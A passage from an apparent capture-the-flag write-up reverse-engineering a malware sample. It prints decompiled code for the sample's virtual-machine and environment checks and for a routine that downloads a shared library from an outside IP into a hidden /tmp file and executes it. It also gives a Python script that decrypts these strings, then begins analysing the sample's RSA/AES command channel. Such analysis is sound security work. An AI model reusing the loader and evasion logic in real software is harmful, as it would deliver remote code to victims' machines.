                    (uint)*(byte *)(param_2 + (ulong)(long)j % param_3)) % 0x100;
15
    std::swap<>((uchar *)(param_1 + j),(uchar *)(local_14 + param_1));
16
  }
17
  *(undefined4 *)(param_1 + 0x100) = 0;
18
  *(undefined4 *)(param_1 + 0x104) = 0;
19
  return;
20
}

It uses this keystream to decrypt a bunch of encrypted DATS in the binary. These DATS likely hold data that is sensitive for the binary, hence why they are encrypted. There are a couple DATS used in the check functions that are used to see if conditions are right for the malware to execute. You can see what exactly these checks are doing based on what I named the functions. I won’t paste them here since they aren’t that important.

1
  cVar2 = check_env_var_exists(rc4_decrypt);
2
    if (cVar2 == '\x01') {
3
      cVar2 = is_year_2024();
4
      if (cVar2 == '\x01') {
5
        cVar2 = is_root();
6
        if (cVar2 == '\x01') {
7
          cVar2 = file_contains_required_strings(rc4_decrypt);
8
          if (cVar2 == '\x01') {
9
            cVar2 = run_command_and_check_output(rc4_decrypt);
10
            if (cVar2 == '\x01') {
11
              bVar1 = false;
12
              goto LAB_00108e1d;
13
            }

The most important DATS appear to be used in this function

1
  if (!bVar1) {
2
    download_and_execute_plugin(rc4_decrypt);
3
  }

Which as my name suggests, downloads and executes some kind of plugin

1
bool download_and_execute_plugin(undefined8 param_1)
2

3
{
4
  char cVar1;
5
  uint16_t uVar2;
6
  int __fd;
7
  int iVar3;
8
  char *__cp;
9
  size_t __n;
10
  void *__buf;
11
  ssize_t sVar4;
12
  undefined8 uVar5;
13
  long lVar6;
14
  code *pcVar7;
15
  long in_FS_OFFSET;
16
  bool bVar8;
17
  sockaddr local_788;
18
  basic_string<> local_778 [32];
19
  basic_string<> local_758 [32];
20
  basic_string local_738 [32];
21
  basic_string<> local_718 [32];
22
  basic_string<> local_6f8 [32];
23
  basic_string local_6d8 [32];
24
  basic_string<> local_6b8 [32];
25
  Comms local_698 [112];
26
  basic_string local_628 [248];
27
  basic_ios<> abStack_530 [264];
28
  undefined local_428 [1032];
29
  long local_20;
30

31
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
32
  __fd = socket(2,1,0);
33
  if (__fd < 0) {
34
    bVar8 = false;
35
  }
36
  else {
37
    assemble_path_helper(local_778,&DAT_0010d618,0xc,param_1);
38
    local_788.sa_data[6] = '\0';
39
    local_788.sa_data[7] = '\0';
40
    local_788.sa_data[8] = '\0';
41
    local_788.sa_data[9] = '\0';
42
    local_788.sa_data[10] = '\0';
43
    local_788.sa_data[11] = '\0';
44
    local_788.sa_data[12] = '\0';
45
    local_788.sa_data[13] = '\0';
46
    local_788.sa_family = 2;
47
    local_788.sa_data[0] = '\0';
48
    local_788.sa_data[1] = '\0';
49
    local_788.sa_data[2] = '\0';
50
    local_788.sa_data[3] = '\0';
51
    local_788.sa_data[4] = '\0';
52
    local_788.sa_data[5] = '\0';
53
    uVar2 = htons(0x1f90);
54
    local_788.sa_data._0_2_ = uVar2;
55
    __cp = (char *)std::__cxx11::basic_string<>::c_str();
56
    iVar3 = inet_pton(2,__cp,local_788.sa_data + 2);
57
    if (iVar3 < 1) {
58
                    /* try { // try from 00108043 to 001080b0 has its CatchHandler @ 00108534 */
59
      close(__fd);
60
      bVar8 = false;
61
    }
62
    else {
63
      iVar3 = connect(__fd,&local_788,0x10);
64
      if (iVar3 < 0) {
65
        close(__fd);
66
        bVar8 = false;
67
      }
68
      else {
69
        assemble_path_helper(local_758,&DAT_0010d630,0x14,param_1);
70
                    /* try { // try from 001080cc to 00108156 has its CatchHandler @ 0010851c */
71
        std::operator+(local_628,(char *)local_758);
72
        std::__cxx11::basic_string<>::operator=(local_758,local_628);
73
        std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_628);
74
        __n = std::__cxx11::basic_string<>::length();
75
        __buf = (void *)std::__cxx11::basic_string<>::c_str();
76
        send(__fd,__buf,__n,0);
77
        assemble_path_helper(local_738,&DAT_0010d644,5,param_1);
78
                    /* try { // try from 00108177 to 0010817b has its CatchHandler @ 00108504 */
79
        assemble_path_helper(local_718,&DAT_0010d649,1,param_1);
80
                    /* try { // try from 0010819c to 001081a0 has its CatchHandler @ 001084ec */
81
        assemble_path_helper(local_6f8,&DAT_0010d650,0x10,param_1);
82
                    /* try { // try from 001081bc to 001081c0 has its CatchHandler @ 001084d4 */
83
        std::operator+(local_628,local_738);
84
                    /* try { // try from 001081dc to 001081e0 has its CatchHandler @ 0010845c */
85
        std::operator+(local_6d8,local_628);
86
        std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_628);
87
                    /* try { // try from 00108209 to 0010820d has its CatchHandler @ 001084bc */
88
        std::basic_ofstream<>::basic_ofstream(local_628,(_Ios_Openmode)local_6d8);
89
                    /* try { // try from 0010821e to 00108339 has its CatchHandler @ 001084a4 */
90
        cVar1 = std::basic_ios<>::operator!(abStack_530);
91
        if (cVar1 == '\0') {
92
          while( true ) {
93
            sVar4 = recv(__fd,local_428,0x400,0);
94
            if (sVar4 < 1) break;
95
            std::basic_ostream<>::write((char *)local_628,(long)local_428);
96
          }
97
          if (sVar4 < 0) {
98
            std::basic_ofstream<>::close();
99
            close(__fd);
100
            bVar8 = false;
101
          }
102
          else {
103
            std::basic_ofstream<>::close();
104
            close(__fd);
105
            uVar5 = std::__cxx11::basic_string<>::c_str();
106
            lVar6 = dlopen(uVar5,0x102);
107
            if (lVar6 == 0) {
108
              bVar8 = false;
109
            }
110
            else {
111
              assemble_path_helper(local_6b8,&DAT_0010d660,0xe,param_1);
112
              uVar5 = std::__cxx11::basic_string<>::c_str();
113
              pcVar7 = (code *)dlsym(lVar6,uVar5);
114
              bVar8 = pcVar7 != (code *)0x0;
115
              if (bVar8) {
116
                    /* try { // try from 0010838f to 00108393 has its CatchHandler @ 0010848c */
117
                Comms::Comms(local_698);
118
                    /* try { // try from 001083a5 to 001083a6 has its CatchHandler @ 00108474 */
119
                (*pcVar7)(local_698);
120
                dlclose(lVar6);
121
                Comms::~Comms(local_698);
122
              }
123
              else {
124
                dlclose(lVar6);
125
              }
126
              std::__cxx11::basic_string<>::~basic_string(local_6b8);
127
            }
128
          }
129
        }
130
        else {
131
          close(__fd);
132
          bVar8 = false;
133
        }
134
        std::basic_ofstream<>::~basic_ofstream((basic_ofstream<> *)local_628);
135
        std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_6d8);
136
        std::__cxx11::basic_string<>::~basic_string(local_6f8);
137
        std::__cxx11::basic_string<>::~basic_string(local_718);
138
        std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_738);
139
        std::__cxx11::basic_string<>::~basic_string(local_758);
140
      }
141
    }
142
    std::__cxx11::basic_string<>::~basic_string(local_778);
143
  }
144
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
145
                    /* WARNING: Subroutine does not return */
146
    __stack_chk_fail();
147
  }
148
  return bVar8;
149
}

There are a lot of DATS here, so the binary definitely wants to hide whatever these DATS decrypt to

Let’s walk through what this function appears to be doing

It makes some kind of connection with socket programming with the IP it is connecting to being encrypted in DAT_0010d618

1
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
2
  __fd = socket(2,1,0);
3
  if (__fd < 0) {
4
    bVar8 = false;
5
  }
6
  else {
7
    assemble_path_helper(local_778,&DAT_0010d618,0xc,param_1);
8
    local_788.sa_data[6] = '\0';
9
    local_788.sa_data[7] = '\0';
10
    local_788.sa_data[8] = '\0';
11
    local_788.sa_data[9] = '\0';
12
    local_788.sa_data[10] = '\0';
13
    local_788.sa_data[11] = '\0';
14
    local_788.sa_data[12] = '\0';
15
    local_788.sa_data[13] = '\0';
16
    local_788.sa_family = 2;
17
    local_788.sa_data[0] = '\0';
18
    local_788.sa_data[1] = '\0';
19
    local_788.sa_data[2] = '\0';
20
    local_788.sa_data[3] = '\0';
21
    local_788.sa_data[4] = '\0';
22
    local_788.sa_data[5] = '\0';
23
    uVar2 = htons(0x1f90);
24
    local_788.sa_data._0_2_ = uVar2;
25
    __cp = (char *)std::__cxx11::basic_string<>::c_str();
26
    iVar3 = inet_pton(2,__cp,local_788.sa_data + 2);
27
    if (iVar3 < 1) {
28
                    /* try { // try from 00108043 to 001080b0 has its CatchHandler @ 00108534 */
29
      close(__fd);
30
      bVar8 = false;
31
    }
32
    else {
33
      iVar3 = connect(__fd,&local_788,0x10);
34
      if (iVar3 < 0) {
35
        close(__fd);
36
        bVar8 = false;
37
      }

As we can see from my function renaming, I found a function that appears to be used to assemble a string or file path. I call this assemble_path_helper, which it uses to decrypt what is in the DAT and assemble some string or path with it. In this case, it is assembling an IP address most likely

For the next part, which is essentially the rest of the function, it sends some kind of request, recieves the response, writes the contents to some sort of file, with the file path being assembled with the below lines

1
assemble_path_helper(local_738,&DAT_0010d644,5,param_1);
2
            /* try { // try from 00108177 to 0010817b has its CatchHandler @ 00108504 */
3
assemble_path_helper(local_718,&DAT_0010d649,1,param_1);
4
            /* try { // try from 0010819c to 001081a0 has its CatchHandler @ 001084ec */
5
assemble_path_helper(local_6f8,&DAT_0010d650,0x10,param_1);

It then dynamically loads the file (which means it is expecting to download a shared library) with dlopen and executes a function with dlsym, similar to what we’ve seen before

1
  else {
2
    std::basic_ofstream<>::close();
3
    close(__fd);
4
    uVar5 = std::__cxx11::basic_string<>::c_str();
5
    lVar6 = dlopen(uVar5,0x102);
6
    if (lVar6 == 0) {
7
      bVar8 = false;
8
    }
9
    else {
10
      assemble_path_helper(local_6b8,&DAT_0010d660,0xe,param_1);
11
      uVar5 = std::__cxx11::basic_string<>::c_str();
12
      pcVar7 = (code *)dlsym(lVar6,uVar5);
13
      bVar8 = pcVar7 != (code *)0x0;
14
      if (bVar8) {
15
            /* try { // try from 0010838f to 00108393 has its CatchHandler @ 0010848c */
16
        Comms::Comms(local_698);
17
            /* try { // try from 001083a5 to 001083a6 has its CatchHandler @ 00108474 */
18
        (*pcVar7)(local_698);
19
        dlclose(lVar6);
20
        Comms::~Comms(local_698);
21
      }
22
      else {
23
        dlclose(lVar6);
24
      }
25
      std::__cxx11::basic_string<>::~basic_string(local_6b8);
26
    }
27
  }
28
}

Again, a lot of the important details (like what the IP is, what request was sent, the file path, what function was executed, etc.) are encrypted in the DATS.

What we really want is that file name, since the goal of this task is to find the “file path the malware uses to write a file”

We can mimic this decryption logic with Python, but we have to decrypt each DAT in order starting with the very first DAT, since that’s how the RC4 algorithm works.

Also, as for the contents of the DATS themselves, we can find them in Ghidra. Below is a small example:

The script I ended up making is below

1
# Decrypt all DAT blobs in the exact runtime order shown in the malware's run() -> download flow.
2
# KSA runs once (key "skibidi"), PRGA output is consumed sequentially across DATs.
3
# Prints UTF-8 (if plausible), printable fallback, and hex. Also tries IPv4 interpretations.
4

5
from typing import List, Tuple
6
import socket, struct, re
7

8
KEY = b"skibidi"
9

10
# === DAT blobs here in the exact runtime order ===
11
# 1) check_path_exists -> DAT_0010d580
12
DAT_0010d580 = bytes([
13
    0xC7,0x16,0x75,0xC6,0x0F,0xC7,0x14,0x36,0x16,0xAF,0x4C,0x1D,0x34,0x01,0x41,0xBA,
14
    0xF9,0x22,0xB9,0xAC,0x42,0xA6,0xC7,0x07,0x00,0x09,0xF7,0x59,0xC9,0xE1,0x2E,0x63,
15
    0x77,0xF3,0xA0,0x71,0xDB,0x1F
16
])
17

18
# 2) check_env_var -> DAT_0010d5b0
19
DAT_0010d5b0 = bytes([
20
    0xD2,0x38,0xBD,0x57,0x18,0x9E,0xC1,0x37,0x5A,0xC9,0xB7,0xBF,0x93,0xDA,0xD3,0x4B,0xA4
21
])
22

23
# 3) file_contains_required_strings -> DAT_0010d5c8, DAT_0010d5d5, DAT_0010d5e0
24
DAT_0010d5c8 = bytes([0xD5,0x62,0xFB,0x65,0x4A,0x1A,0x46,0x03,0xBC,0xF4,0xAE,0x73,0x9E])
25
DAT_0010d5d5 = bytes([0xB4,0xB2,0xE4,0x8E,0x6D])
26
DAT_0010d5e0 = bytes([0x78,0xC8,0x50,0xA5,0x17,0x82,0x7A,0xFD,0xBB,0x88])
27

28
# 4) run_command_and_check_output -> DAT_0010d5f0, DAT_0010d60f, DAT_0010d610
29
DAT_0010d5f0 = bytes([0xF3,0x29,0x27,0xC9,0x62,0x3A,0x59,0x45,0x15,0x5F,0xBD,0xD9,0x75,0x84,0x79,0x7A,0x5F,0xAC,0x1E,0xA3,0x30,0x15,0x0C,0xFA,0x87,0x0C,0xC6,0x3A,0x26,0xD9,0x8B])
30
DAT_0010d60f = bytes([0x39])  # single byte '9' blob
31
DAT_0010d610 = bytes([0x4D,0x54,0x26,0x35])  # "MT&5" maybe part of the search string
32

33
# 5) download_and_execute_plugin -> DAT_0010d618, DAT_0010d630, DAT_0010d644, DAT_0010d649, DAT_0010d650
34
DAT_0010d618 = bytes([0x53,0xD9,0xC6,0xD8,0x09,0x82,0x27,0xCF,0xA1,0xDE,0x17,0x8A])
35
DAT_0010d630 = bytes([0xD2,0x20,0x8A,0x73,0x75,0x62,0xCB,0x5B,0xB5,0x65,0xDA,0x5F,0x74,0xB1,0xB5,0x4A,0x19,0x7D,0x57,0x92])
36
DAT_0010d644 = bytes([0x10,0xDB,0xF5,0x06,0x99])
37
DAT_0010d649 = bytes([0xC4])
38
DAT_0010d650 = bytes([0x44,0x14,0x7D,0x91,0xBD,0x05,0x5B,0xF5,0x64,0x56,0x4D,0x3E,0x33,0x37,0xBF,0x95])
39
DAT_0010d660 = bytes([
40
    0x5c, 0xf8, 0x80, 0x3d, 0xc8, 0x84, 0xfc, 0x82,
41
    0x5a, 0xaa, 0x1b, 0x13, 0x9c, 0xb2
42
])
43

44

45
ALL_DATS_ORDERED: List[Tuple[str, bytes]] = [
46
    ("DAT_0010d580", DAT_0010d580),
47
    ("DAT_0010d5b0", DAT_0010d5b0),
48
    ("DAT_0010d5c8", DAT_0010d5c8),
49
    ("DAT_0010d5d5", DAT_0010d5d5),
50
    ("DAT_0010d5e0", DAT_0010d5e0),
51
    ("DAT_0010d5f0", DAT_0010d5f0),
52
    ("DAT_0010d60f", DAT_0010d60f),
53
    ("DAT_0010d610", DAT_0010d610),
54
    ("DAT_0010d618", DAT_0010d618),
55
    ("DAT_0010d630", DAT_0010d630),
56
    ("DAT_0010d644", DAT_0010d644),
57
    ("DAT_0010d649", DAT_0010d649),
58
    ("DAT_0010d650", DAT_0010d650),
59
    ("DAT_0010d660", DAT_0010d660),
60
]
61

62
# === RC4 helpers ===
63
def rc4_ksa(key: bytes) -> List[int]:
64
    S = list(range(256))
65
    j = 0
66
    klen = len(key)
67
    if klen == 0:
68
        raise ValueError("empty key")
69
    for i in range(256):
70
        j = (j + S[i] + key[i % klen]) & 0xff
71
        S[i], S[j] = S[j], S[i]
72
    return S
73

74
def prga_generator(S: List[int]):
75
    i = 0
76
    j = 0
77
    while True:
78
        i = (i + 1) & 0xff
79
        j = (j + S[i]) & 0xff
80
        S[i], S[j] = S[j], S[i]
81
        yield S[(S[i] + S[j]) & 0xff]
82

83
# helpers to display
84
def printable_fallback(b: bytes) -> str:
85
    return ''.join(chr(x) if 32 <= x < 127 else '.' for x in b)
86

87
def looks_like_ipv4_text(b: bytes) -> bool:
88
    try:
89
        s = b.decode('ascii')
90
    except Exception:
91
        return False
92
    return re.fullmatch(r'(25[0-5]|2[0-4]\d|1?\d?\d)(\.(25[0-5]|2[0-4]\d|1?\d?\d)){3}', s) is not None
93

94
def try_packed_ipv4(b: bytes):
95
    res = []
96
    for off in range(max(1, len(b)-3)):
97
        part = b[off:off+4]
98
        if len(part) < 4:
99
            continue
100
        ip = socket.inet_ntoa(part)
101
        res.append((off, ip))
102
    return res
103

104
# decrypt sequence
105
def decrypt_sequence(blobs):
106
    S = rc4_ksa(KEY)
107
    gen = prga_generator(S)
108
    results = []
109
    for name, blob in blobs:
110
        out = bytes(b ^ next(gen) for b in blob)
111
        results.append((name, out))
112
    return results
113

114
if __name__ == "__main__":
115
    res = decrypt_sequence(ALL_DATS_ORDERED)
116
    for name, data in res:
117
        print("----", name, "len=", len(data))
118
        # try UTF-8
119
        try:
120
            s = data.decode('utf-8')
121
            print("UTF-8:", s)
122
        except Exception:
123
            print("printable:", printable_fallback(data))
124
        print("hex:", data.hex())
125
        # special attempts
126
        if name == "DAT_0010d618":
127
            if looks_like_ipv4_text(data):
128
                print("-> Looks like ASCII IPv4:", data.decode('ascii'))
129
            else:
130
                packed = try_packed_ipv4(data)
131
                if packed:
132
                    print("-> Possible packed IPv4 candidates (offset, ip):", packed)
133
        print()

In my above Python code, I explicitly state which function (remember I renamed them but you can check the before pasted main code for reference) each DAT comes from

Running the above script gets us:

1
---- DAT_0010d580 len= 38
2
UTF-8: /opt/dafin/intel/ops_brief_redteam.pdf
3
hex: 2f6f70742f646166696e2f696e74656c2f6f70735f62726965665f7265647465616d2e706466
4

5
---- DAT_0010d5b0 len= 17
6
UTF-8: DAFIN_SEC_PROFILE
7
hex: 444146494e5f5345435f50524f46494c45
8

9
---- DAT_0010d5c8 len= 13
10
UTF-8: /proc/cpuinfo
11
hex: 2f70726f632f637075696e666f
12

13
---- DAT_0010d5d5 len= 5
14
UTF-8: flags
15
hex: 666c616773
16

17
---- DAT_0010d5e0 len= 10
18
UTF-8: hypervisor
19
hex: 68797065727669736f72
20

21
---- DAT_0010d5f0 len= 31
22
UTF-8: systemd-detect-virt 2>/dev/null
23
hex: 73797374656d642d6465746563742d7669727420323e2f6465762f6e756c6c
24

25
---- DAT_0010d60f len= 1
26
UTF-8: r
27
hex: 72
28

29
---- DAT_0010d610 len= 4
30
UTF-8: none
31
hex: 6e6f6e65
32

33
---- DAT_0010d618 len= 12
34
UTF-8: 203.0.113.42
35
hex: 3230332e302e3131332e3432
36
-> Looks like ASCII IPv4: 203.0.113.42
37

38
---- DAT_0010d630 len= 20
39
UTF-8: GET /module HTTP/1.1
40
hex: 474554202f6d6f64756c6520485454502f312e31
41

42
---- DAT_0010d644 len= 5
43
UTF-8: /tmp/
44
hex: 2f746d702f
45

46
---- DAT_0010d649 len= 1
47
UTF-8: .
48
hex: 2e
49

50
---- DAT_0010d650 len= 16
51
UTF-8: dbBY1cfp0bCosNlL
52
hex: 64624259316366703062436f734e6c4c
53

54
---- DAT_0010d660 len= 14
55
UTF-8: execute_module
56
hex: 657865637574655f6d6f64756c65

Looks like the IP was 203.0.113.42, the request it sent was GET /module HTTP/1.1, the function it executes is execute_module, and most importantly for us, the file path it writes a file to appears to be /tmp/.dbBY1cfp0bCosNlL

Sure enough, submitting /tmp/.dbBY1cfp0bCosNlL solves this task!

This was a really fun challenge, and was definitely my favorite of the 7

Response:

Superb work unpacking and analyzing that Malware!

Task 5 - Putting it all together - (Cryptanalysis)

NSA analysts confirm that there is solid evidence that this binary was at least part of what had been installed on the military development network. Unfortunately, we do not yet have enough information to update NSA senior leadership on this threat. We need to move forward with this investigation!

The team is stumped - they need to identify something about who was controlling this malware. They look to you. “Do you have any ideas?”

Prompt: Submit the full URL to the adversary’s server

Solve:

Ah yes, the crypto task

Immediately, we can see that this task is pretty weird. It doesn’t give us any new files. The solution to this task comes from what we have already found so far.

To save the suspense, everything needed to solve this task comes from the pcap from task 2, and the last binary we found from task 4 (the binary that was inside the given binary)

We teased the interesting transmissions in task 2, but it appears that the goal of this task is to decrypt said transmissions:

We actually know where these encrypted messages came from (specifically the messages in red)

Going back to Ghidra our beloved, in the binary from task 4, there is a class named Comms

Again, note that I have already renamed functions based on my analysis of what they do

In said class, there was a function that I name full_handshake, which appears to establish a connection, and does so in a certain way

1
/* WARNING: Unknown calling convention -- yet parameter storage is locked */
2
/* Comms::full_handshake() */
3

4
undefined8 Comms::full_handshake(void)
5

6
{
7
  int iVar1;
8
  long lVar2;
9
  undefined8 uVar3;
10
  long in_RDI;
11

12
  lVar2 = recv_rsa_pubkey();
13
  *(long *)(in_RDI + 0x40) = lVar2;
14
  if (lVar2 != 0) {
15
    iVar1 = send_aes_keys();
16
    free(*(void **)(in_RDI + 0x40));
17
    if (iVar1 == 0) {
18
      uVar3 = application_handshake();
19
      return uVar3;
20
    }
21
  }
22
  return 1;
23
}

As we can see, it first receives an RSA public key, which we see in the Wireshark transmissions.

It then sends AES keys to encrypt future transmissions, which it encrypts using the received RSA public key so that we can’t see what the keys are

1
/* WARNING: Unknown calling convention -- yet parameter storage is locked */
2
/* Comms::send_aes_keys() */
3

4
bool Comms::send_aes_keys(void)
5

6
{
7
  void *pvVar1;
8
  int iVar2;
9
  runtime_error *this;
10
  void *__buf;
11
  ssize_t sVar3;
12
  long i;
13
  int *in_RDI;
14
  undefined8 *puVar4;
15
  long in_FS_OFFSET;
16
  void *local_488;
17
  void *local_480;
18
  long local_478;
19
  int local_468;
20
  int iStack_464;
21
  int iStack_460;
22
  int iStack_45c;
23
  int local_458;
24
  int iStack_454;
25
  int iStack_450;
26
  int iStack_44c;
27
  undefined8 local_448 [129];
28
  long local_40;
29

30
  local_468 = in_RDI[5];
31
  iStack_464 = in_RDI[6];
32
  iStack_460 = in_RDI[7];
33
  iStack_45c = in_RDI[8];
34
  local_458 = in_RDI[9];
35
  iStack_454 = in_RDI[10];
36
  iStack_450 = in_RDI[0xb];
37
  iStack_44c = in_RDI[0xc];
38
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
39
  puVar4 = local_448;
40
  for (i = 0x80; i != 0; i = i + -1) {
41
    *puVar4 = 0;
42
    puVar4 = puVar4 + 1;
43
  }
44
  rsa_encrypt((uchar *)&local_488,(int)in_RDI,(ulong *)&local_468);
45
  pvVar1 = local_488;
46
  if (local_480 == local_488) {
47
    __buf = calloc(1,6);
48
    __memcpy_chk(__buf,&DAT_0010a141,6,6);
49
    __memcpy_chk((long)__buf + 6,pvVar1,0);
50
                    /* try { // try from 001077db to 00107812 has its CatchHandler @ 0010785d */
51
    send(*in_RDI,__buf,6,0);
52
    free(__buf);
53
    sVar3 = recv(*in_RDI,local_448,0x400,0);
54
    iVar2 = is_correct_response((Comms *)in_RDI,(uchar *)local_448,(int)sVar3,
55
                                (uchar *)"KEY_RECEIVED",0xc);
56
    if (local_488 != (void *)0x0) {
57
      operator.delete(local_488,local_478 - (long)local_488);
58
    }
59
    if (local_40 != *(long *)(in_FS_OFFSET + 0x28)) {
60
                    /* WARNING: Subroutine does not return */
61
      __stack_chk_fail();
62
    }
63
    return iVar2 == 0;
64
  }
65
  this = (runtime_error *)__cxa_allocate_exception(0x10);
66
  std::runtime_error::runtime_error(this,"Error");
67
  if (local_40 != *(long *)(in_FS_OFFSET + 0x28)) {
68
                    /* WARNING: Subroutine does not return */
69
    __stack_chk_fail();
70
  }
71
                    /* WARNING: Subroutine does not return */
72
  __cxa_throw(this,&std::runtime_error::typeinfo,std::runtime_error::~runtime_error);
73
}

This corresponds to the first red message we see in the transmission because the message it sends appears to have some sort of header, which it prepends here

1
__memcpy_chk(__buf,&DAT_0010a141,6,6);

The contents of DAT_0010a141?

1
    DAT_0010a141
2
        0010a141 de              ??         DEh
3
        0010a142 c0              ??         C0h
4
        0010a143 de              ??         DEh
5
        0010a144 c0              ??         C0h
6
        0010a145 ff              ??         FFh
7
        0010a146 ee              ??         EEh

dec0dec0ffee, which is exactly what we see at the beginning of the first red message

1
00000000  de c0 de c0 ff ee 06 45  fe 6a 62 8d 85 36 4a 9b   .......E .jb..6J.
2
00000010  15 cc bf 46 18 cc dc 76  71 8e b8 4c 24 39 04 2c   ...F...v q..L$9.,
3
00000020  f3 04 55 d4 e3 37 ed 26  0a 04 d5 b9 5c f0 eb 6a   ..U..7.& ....\..j
4
00000030  e3 01 81 7d 32 60 bb ef  44 71 de 97 21 03 9f 8d   ...}2`.. Dq..!...
5
00000040  9a 8f a8 f1 49 fb 68 da  04 88 e7 de 0f 48 a7 b5   ....I.h. .....H..
6
00000050  e1 60 2a 86 23 1d 83 ab  70 9c 52 68 6e bb 9b b9   .`*.#... p.Rhn...
7
00000060  5d 2e a4 56 23 b0 ca 45  6c d4 4b a8 ac bd f8 97   ]..V#..E l.K.....
8
00000070  84 f9 55 30 de 1c fd 8c  62 0b d7 3d f0 64 a8 31   ..U0.... b..=.d.1
9
00000080  40 43 f6 9d cb 91 01 20  cf 63 ef bd 3f 68 1f 27   @C.....  .c..?h.'
10
00000090  9b 31 5d ce cf dd 37 b3  e8 37 85 72 7d 9e 77 21   .1]...7. .7.r}.w!
11
000000A0  7a 4b 72 77 da f1 32 93  2b e7 5c 6f de 1f 34 c3   zKrw..2. +.\o..4.
12
000000B0  c3 da f7 cd f6 60 05 63  ec 95 f3 85 63 4a cc 08   .....`.c ....cJ..
13
000000C0  f3 e2 96 f1 1c 55 72 08  fb a7 a0 0e 25 e4 25 55   .....Ur. ....%.%U
14
000000D0  4b 23 8f 77 6d 89 07 73  a5 ee e8 a5 65 45 01 16   K#.wm..s ....eE..
15
000000E0  61 96 cc 68 b7 cf 28 34  00 13 5d 05 51 b1 50 b8   a..h..(4 ..].Q.P.
16
000000F0  81 c6 4e 37 b2 01 98 b1  f7 1e 26 77 39 d4 36 fb   ..N7.... ..&w9.6.
17
00000100  46 1e 47 44 11 19                                  F.GD..

In this same send_aes_keys function, it checks to see if the response recieved was correct

1
    sVar3 = recv(*in_RDI,local_448,0x400,0);
2
    iVar2 = is_correct_response((Comms *)in_RDI,(uchar *)local_448,(int)sVar3,
3
                                (uchar *)"KEY_RECEIVED",0xc);

With the correct response consisting of a message, KEY_RECEIVED

Well what do we see as the next message? (the second blue message)

1
    000001C9  de c0 de c0 ff ee 4b 45  59 5f 52 45 43 45 49 56   ......KE Y_RECEIV
2
    000001D9  45 44                                              ED

Exactly that. Then the remaining messages in the Wireshark transmission appear to be encrypted with the AES keys so we can’t read them. However, we do have an idea of what they consist of.

Looking back at full_handshake, we see that it calls a function that I call application_handshake

1
    if (iVar1 == 0) {
2
      uVar3 = application_handshake();
3
      return uVar3;
4
    }

In this function, it sends a message and expects a response

1
/* WARNING: Unknown calling convention -- yet parameter storage is locked */
2
/* Comms::application_handshake() */
3

4
bool Comms::application_handshake(void)
5

6
{
7
  int iVar1;
8
  uchar *puVar2;
9
  Comms *in_RDI;
10
  long in_FS_OFFSET;
11
  int local_14;
12
  long local_10;
13

14
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
15
  local_14 = 0;
16
  puVar2 = (uchar *)send_message(in_RDI,&DAT_0010a13a,7,&local_14);
17
  iVar1 = is_correct_response(in_RDI,puVar2,local_14,&DAT_0010a130,10);
18
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
19
    return iVar1 == 0;
20
  }
21
                    /* WARNING: Subroutine does not return */
22
  __stack_chk_fail();
23
}

DAT_0010a13a, which is the message, is the string "REQCONN", and DAT_0010a130 which is the response it’s expecting, is "REQCONN_OK".

Also to save some time, I will just note that it expects both of these messages to have the same dec0dec0ffee header from before. send_message always prepends the hex dec0dec0ffee to the beginning of each message

This is very likely what the next two messages are in the transmission stream, but of course, they’re encrypted

As for the last two messages, we have no idea what they are, and they probably have the juicy content

1
00000126  02 db 7b d5 4f ed 23 d1  2d 48 59 9d e5 25 2d c6   ..{.O.#. -HY..%-.
2
00000136  24 a3 b7 6d 45 46 3a 6a  fb 38 e6 43 4b 9c f8 ae   $..mEF:j .8.CK...
3
00000146  e0 e3 ae 53 db 69 df 09  fe 99 88 24 56 83 0b c4   ...S.i.. ...$V...
4
00000156  86 c4 bb af 7c d8 fe c4  b7 82 b4 4f 01 db 0f 1e   ....|... ...O....
5

6
    0000020B  7f 91 71 b6 52 fc 82 ca  32 0a 0a e6 7c b7 4b ad   ..q.R... 2...|.K.
7
    0000021B  5e 4f b0 22 16 2e 6f 9a  bf 51 4b fe c1 a5 64 b3   ^O."..o. .QK...d.
8
    0000022B  42 2c 3c 4c 82 38 df 66  8e ee e0 0f df 87 99 18   B,<L.8.f ........
9
    0000023B  80 8f c4 fd 93 24 7d 50  68 c9 41 f8 fc 4d 61 64   .....$}P h.A..Mad
10
    0000024B  86 c4 bb af 7c d8 fe c4  b7 82 b4 4f 01 db 0f 1e   ....|... ...O....

So we have to actually somehow decrypt these messages, but how do we do that?

The Achilles Heel

Well, we can find the constructor for the Comms class

1
/* Comms::Comms() */
2

3
void __thiscall Comms::Comms(Comms *this)
4

5
{
6
  Comms *pCVar1;
7
  Comms *pCVar2;
8
  EVP_CIPHER_CTX *pEVar3;
9

10
  *(undefined4 *)(this + 0x38) = 0;
11
  pCVar1 = this + 0x14;
12
  pCVar2 = this + 0x24;
13
  *(undefined8 *)(this + 0x40) = 0;
14
  *(undefined4 *)this = 0xffffffff;
15
  this[0x34] = (Comms)0x0;
16
  *(undefined (*) [16])(this + 0x14) = (undefined  [16])0x0;
17
  *(undefined (*) [16])(this + 0x24) = (undefined  [16])0x0;
18
  pEVar3 = EVP_CIPHER_CTX_new();
19
  *(EVP_CIPHER_CTX **)(this + 0x48) = pEVar3;
20
  pEVar3 = EVP_CIPHER_CTX_new();
21
  *(EVP_CIPHER_CTX **)(this + 0x50) = pEVar3;
22
  pEVar3 = EVP_CIPHER_CTX_new();
23
  *(EVP_CIPHER_CTX **)(this + 0x58) = pEVar3;
24
  pEVar3 = EVP_CIPHER_CTX_new();
25
  *(EVP_CIPHER_CTX **)(this + 0x60) = pEVar3;
26
  gen_key(this,(uchar *)pCVar1,0x10);
27
  gen_key(this,(uchar *)pCVar2,0x10);
28
  this[0x34] = (Comms)0x1;
29
  aes_init_enc(pCVar1,*(undefined8 *)(this + 0x48));
30
  aes_init_enc(pCVar2,*(undefined8 *)(this + 0x50));
31
  aes_init_dec(pCVar1,*(undefined8 *)(this + 0x58));
32
  aes_init_dec(pCVar2,*(undefined8 *)(this + 0x60));
33
  return;
34
}

From my function naming, we can see that it generates two keys using a gen_key function. It then uses these keys to initialize two different AES ECB contexts, both consisting of the corresponding encrypt and decrypt contexts

